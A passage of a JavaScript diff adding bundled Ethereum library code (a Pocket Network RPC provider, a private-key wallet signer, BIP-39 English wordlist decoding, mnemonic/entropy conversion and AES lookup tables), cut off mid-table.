"out-of-bounds access of an array or bytesN": "32" + }; + let panicCode = ""; + if (error.message === "VM execution error.") { + // eth_call passes this message + panicCode = panicCodes[error.data] || ""; + } + else if (panicCodes[error.message || ""]) { + panicCode = panicCodes[error.message || ""]; + } + if (panicCode) { + error.message += ` (reverted: ${error.data})`; + error.data = "0x4e487b7100000000000000000000000000000000000000000000000000000000000000" + panicCode; + } + } + else if (error && error.code === -32000) { + if (error.message === "wrong transaction nonce") { + error.message += " (nonce too low)"; + } + } + return super.getRpcError(payload, _error); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network) { + const request = new FetchRequest(getUrl(network.name)); + request.allowGzip = true; + return request; + } +} + +/** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ +const defaultApplicationId = "62e1ad51b37b8e00394bda3b"; +function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.gateway.pokt.network"; + case "goerli": + return "eth-goerli.gateway.pokt.network"; + case "matic": + return "poly-mainnet.gateway.pokt.network"; + case "matic-mumbai": + return "polygon-mumbai-rpc.gateway.pokt.network"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ +class PocketProvider extends JsonRpcProvider { + /** + * The Application ID for the Pocket connection. + */ + applicationId; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + applicationSecret; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, applicationId, applicationSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (applicationId == null) { + applicationId = defaultApplicationId; + } + if (applicationSecret == null) { + applicationSecret = null; + } + const options = { staticNetwork: network }; + const request = PocketProvider.getRequest(network, applicationId, applicationSecret); + super(request, network, options); + defineProperties(this, { applicationId, applicationSecret }); + } + _getProvider(chainId) { + try { + return new PocketProvider(chainId, this.applicationId, this.applicationSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network, applicationId, applicationSecret) { + if (applicationId == null) { + applicationId = defaultApplicationId; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`); + request.allowGzip = true; + if (applicationSecret) { + request.setCredentials("", applicationSecret); + } + if (applicationId === defaultApplicationId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("PocketProvider"); + return true; + }; + } + return request; + } + isCommunityResource() { + return (this.applicationId === defaultApplicationId); + } +} + +const IpcSocketProvider = undefined; + +/** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ +class BaseWallet extends AbstractSigner { + /** + * The wallet address. + */ + address; + #signingKey; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey, provider) { + super(provider); + assertArgument(privateKey && typeof (privateKey.sign) === "function", "invalid private key", "privateKey", "[ REDACTED ]"); + this.#signingKey = privateKey; + const address = computeAddress(this.signingKey.publicKey); + defineProperties(this, { address }); + } + // Store private values behind getters to reduce visibility + // in console.log + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey() { return this.#signingKey; } + /** + * The private key for this wallet. + */ + get privateKey() { return this.signingKey.privateKey; } + async getAddress() { return this.address; } + connect(provider) { + return new BaseWallet(this.#signingKey, provider); + } + async signTransaction(tx) { + tx = copyRequest(tx); + // Replace any Addressable or ENS name with an address + const { to, from } = await resolveProperties({ + to: (tx.to ? resolveAddress(tx.to, this) : undefined), + from: (tx.from ? resolveAddress(tx.from, this) : undefined) + }); + if (to != null) { + tx.to = to; + } + if (from != null) { + tx.from = from; + } + if (tx.from != null) { + assertArgument(getAddress((tx.from)) === this.address, "transaction from address mismatch", "tx.from", tx.from); + delete tx.from; + } + // Build the transaction + const btx = Transaction.from(tx); + btx.signature = this.signingKey.sign(btx.unsignedHash); + return btx.serialized; + } + async signMessage(message) { + return this.signMessageSync(message); + } + // @TODO: Add a secialized signTx and signTyped sync that enforces + // all parameters are known? + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message) { + return this.signingKey.sign(hashMessage(message)).serialized; + } + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for authorizeSync", "auth.address", auth); + const signature = this.signingKey.sign(hashAuthorization(auth)); + return Object.assign({}, { + address: getAddress(auth.address), + nonce: getBigInt(auth.nonce || 0), + chainId: getBigInt(auth.chainId || 0), + }, { signature }); + } + /** + * Resolves to the Authorization for %%auth%%. + */ + async authorize(auth) { + auth = Object.assign({}, auth, { + address: await resolveAddress(auth.address, this) + }); + return this.authorizeSync(await this.populateAuthorization(auth)); + } + async signTypedData(domain, types, value) { + // Populate any ENS names + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name) => { + // @TODO: this should use resolveName; addresses don't + // need a provider + assert(this.provider != null, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { + operation: "resolveName", + info: { name } + }); + const address = await this.provider.resolveName(name); + assert(address != null, "unconfigured ENS name", "UNCONFIGURED_NAME", { + value: name + }); + return address; + }); + return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized; + } +} + +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z]*$/i; +function unfold(words, sep) { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } + else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } + else { + initial = 97; + accum.push(word); + } + return accum; + }, []); +} +/** + * @_ignore + */ +function decode(data, subs) { + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps = []; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { + clumps.push(";"); + } + } + else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { + throw new Error(`leftovers: ${JSON.stringify(leftover)}`); + } + /* c8 ignore stop */ + return unfold(unfold(clumps, ";"), ":"); +} +/** + * @_ignore + */ +function decodeOwl(data) { + assertArgument(data[0] === "0", "unsupported auwl data", "data", data); + return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length)); +} + +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +class Wordlist { + locale; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale) { + defineProperties(this, { locale }); + } + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase) { + return phrase.toLowerCase().split(/\s+/g); + } + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words) { + return words.join(" "); + } +} + +// Use the encode-latin.js script to create the necessary +// data files to be consumed by this class +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwl extends Wordlist { + #data; + #checksum; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale, data, checksum) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + /** + * The OWL-encoded data. + */ + get _data() { return this.#data; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwl(this.#data); + } + #words; + #loadWords() { + if (this.#words == null) { + const words = this._decodeWords(); + // Verify the computed list matches the official list + const checksum = id(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); + } + /* c8 ignore stop */ + this.#words = words; + } + return this.#words; + } + getWord(index) { + const words = this.#loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return this.#loadWords().indexOf(word); + } +} + +const words = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` S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<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO"; +const checksum = "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"; +let wordlist = null; +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangEn extends WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor() { super("en", words, checksum); } + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangEn(); + } + return wordlist; + } +} + +// Returns a byte with the MSB bits set +function getUpperMask(bits) { + return ((1 << bits) - 1) << (8 - bits) & 0xff; +} +// Returns a byte with the LSB bits set +function getLowerMask(bits) { + return ((1 << bits) - 1) & 0xff; +} +function mnemonicToEntropy(mnemonic, wordlist) { + assertNormalize("NFKD"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const words = wordlist.split(mnemonic); + assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); + const entropy = new Uint8Array(Math.ceil(11 * words.length / 8)); + let offset = 0; + for (let i = 0; i < words.length; i++) { + let index = wordlist.getWordIndex(words[i].normalize("NFKD")); + assertArgument(index >= 0, `invalid mnemonic word at index ${i}`, "mnemonic", "[ REDACTED ]"); + for (let bit = 0; bit < 11; bit++) { + if (index & (1 << (10 - bit))) { + entropy[offset >> 3] |= (1 << (7 - (offset % 8))); + } + offset++; + } + } + const entropyBits = 32 * words.length / 3; + const checksumBits = words.length / 3; + const checksumMask = getUpperMask(checksumBits); + const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; + assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"); + return hexlify(entropy.slice(0, entropyBits / 8)); +} +function entropyToMnemonic(entropy, wordlist) { + assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const indices = [0]; + let remainingBits = 11; + for (let i = 0; i < entropy.length; i++) { + // Consume the whole byte (with still more to go) + if (remainingBits > 8) { + indices[indices.length - 1] <<= 8; + indices[indices.length - 1] |= entropy[i]; + remainingBits -= 8; + // This byte will complete an 11-bit index + } + else { + indices[indices.length - 1] <<= remainingBits; + indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits); + // Start the next word + indices.push(entropy[i] & getLowerMask(8 - remainingBits)); + remainingBits += 3; + } + } + // Compute the checksum bits + const checksumBits = entropy.length / 4; + const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits); + // Shift the checksum into the word indices + indices[indices.length - 1] <<= checksumBits; + indices[indices.length - 1] |= (checksum >> (8 - checksumBits)); + return wordlist.join(indices.map((index) => wordlist.getWord(index))); +} +const _guard$1 = {}; +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + phrase; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + password; + /** + * The wordlist for this mnemonic. + */ + wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + entropy; + /** + * @private + */ + constructor(guard, entropy, phrase, password, wordlist) { + if (password == null) { + password = ""; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + assertPrivate(guard, _guard$1, "Mnemonic"); + defineProperties(this, { phrase, password, wordlist, entropy }); + } + /** + * Returns the seed for the mnemonic. + */ + computeSeed() { + const salt = toUtf8Bytes("mnemonic" + this.password, "NFKD"); + return pbkdf2(toUtf8Bytes(this.phrase, "NFKD"), salt, 2048, 64, "sha512"); + } + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase, password, wordlist) { + // Normalize the case and space; throws if invalid + const entropy = mnemonicToEntropy(phrase, wordlist); + phrase = entropyToMnemonic(getBytes(entropy), wordlist); + return new Mnemonic(_guard$1, entropy, phrase, password, wordlist); + } + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy, password, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + const phrase = entropyToMnemonic(entropy, wordlist); + return new Mnemonic(_guard$1, hexlify(entropy), phrase, password, wordlist); + } + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy, wordlist) { + const entropy = getBytes(_entropy, "entropy"); + return entropyToMnemonic(entropy, wordlist); + } + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase, wordlist) { + return mnemonicToEntropy(phrase, wordlist); + } + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase, wordlist) { + try { + mnemonicToEntropy(phrase, wordlist); + return true; + } + catch (error) { } + return false; + } +} + +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ +var __classPrivateFieldGet$2 = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var __classPrivateFieldSet$2 = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var _AES_key, _AES_Kd, _AES_Ke; +// Number of rounds by keysize +const numberOfRounds = { 16: 10, 24: 12, 32: 14 }; +// Round constant words +const rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; +// S-box and Inverse S-box (S is for Substitution) +const S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 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0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; +// Transformations for encryption +const T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; +const T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; +const T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 